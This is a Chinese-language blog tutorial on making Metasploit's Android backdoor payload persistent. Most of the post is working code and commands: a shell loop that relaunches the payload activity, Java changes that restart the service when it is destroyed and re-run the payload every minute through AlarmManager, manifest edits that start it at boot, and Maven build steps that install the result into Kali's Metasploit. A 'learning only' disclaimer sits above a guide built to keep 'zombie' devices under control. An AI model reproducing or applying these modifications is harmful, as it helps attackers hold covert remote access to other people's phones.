drimwai的博客

肉鸡哪里跑?--- 永续的安卓后门

## 前言:本教程只作为学习用途,切勿用于其他用途。恶意入侵他人终端属于国家明令禁止的违法行为,请务必遵守!!!

 

## 搭建环境:

### kali linux 2019.3

### Metasploit Framework

### Android Studio

### Android SDK && NDK

 

## 需求、原因:

Metasploit创建的安卓payload所建立的sessions连接非常不稳定,一不小心你费劲心思建立的后门就断掉了,因此我们需要做后门的维持。目前,Payload的维持比较普遍的方案是执行以下脚本:

#!/bin/sh
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 10
done

但是这种方案有着几个限制:1)需要先建立一个稳定的连接;2)关机重启后,后门便会关闭,需要手动点击后门app才能再次建立后门。因此,博主在这篇文章中给出一种能够克服这两个缺点的方案。

 

## 永续的安卓后门:

### 1. 采用Android Studio  https://github.com/rapid7/metasploit-payloads.git 下载metasploitpayload项目代码。

 

### 2. 修改源码:通过分析 payload的主要代码是由安卓服务 com.metasploit.stage.Mainservice 执行的。因此,这里主要的思想就是,如果能够让Mainservice服务不断地执行。

#### 2.1. 修改MainService代码,让Service在销毁时自动重启,添加以下代码:

@Override
 public void onDestroy() {
     Intent localIntent = new Intent();      
     localIntent.setClass(this, MainService.class);
     this.startService(localIntent);
 }

 

#### 2.2. 修改MainService代码,在onStartCommand中添加AlarmManager使Service定时执行。添加以下代码:

// 添加AlarmManager的引用
import android.os.SystemClock;
import android.app.AlarmManager;
import android.app.PendingIntent;
// 修改onStartCommand方法
@Override
 public int onStartCommand(Intent intent, int flags, int startId) {
     Payload.start(this);
     AlarmManager manager = (AlarmManager) getSystemService(ALARM_SERVICE);
     int restarttime = 60 * 1000; // one minute
     long triggerAtTime = SystemClock.elapsedRealtime() + restarttime;
     Intent i = new Intent("METASPLOIT");
     PendingIntent pi = PendingIntent.getBroadcast(this, 0, i, 0);
     manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pi);
     return START_STICKY;
     }

 

#### 2.3. 修改MainBroadcastReceiver代码,使其能够接受AlarmManager的提醒。修改如下:

@Override
 public void onReceive(Context context, Intent intent) {
      MainService.startService(context);
 }

 

#### 2.4. AndroidManifest.xml中,加入修改的配置,并使payload开机重启。如下:

// 修改安装位置,使payload安装在内存中
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.metasploit.stage"
    android:installLocation="internalOnly"
    android:versionCode="1"
    android:versionName="1.0" >
// 修改Receiver的相关设置:
<receiver
android:name=".MainBroadcastReceiver"
    android:label="MainBroadcastReceiver">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <category android:name="android.intent.category.HOME" />
        <action android:name="METASPLOIT" />
    </intent-filter>
</receiver>

 

### 3. 编译、部署

#### 3.1. 根据自身环境安装Maven(3.0以上)Android-SDK 和 Android-NDK

Maven安装教程: http://www.jeepxie.net/article/790968.html (Mac教程)

Android-SDK安装:下载API版本为1019Android-SDK

image001.png

Android-NDK安装:

image002.png


#### 3.2. 打开终端,进入项目目录,编译命令如下:

// 进入目录
cd Documents/AndroidStudioProjects/metasploit-payloads /java
// 编译后门
mvn -D deploy.path=target -P android -P deploy -Dandroid.ndk.path <NDK目录> -Dandroid.sdk.path=<SDK目录> -Dandroid.release=true package
// 我的目录
mvn -D deploy.path=target -P android -P deploy -Dandroid.ndk.path=/Users/liangjunwei/Library/Android/sdk/ndk-bundle -Dandroid.sdk.path=/Users/liangjunwei/Library/Android/sdk -Dandroid.release=true package

1587182433167902.png

 

#### 3.3.  ./java/target/data 目录下,找到android文件夹,并拷贝到kalimetasploit目录下 (usr/share/metsploit-framework/data)。至此,所有配置完成。

 

### 4. 测试

#### 4.1. 创建新的payload,出现如下提示表示成功:

image004.png

 

#### 4.2. 完成。效果如视频。

drimwai的博客
drimwai的博客
使用条款和私隐条款。版权所有,保留一切权利。
Copyright by drimwai Liang (2018-2020). All Right Reserved.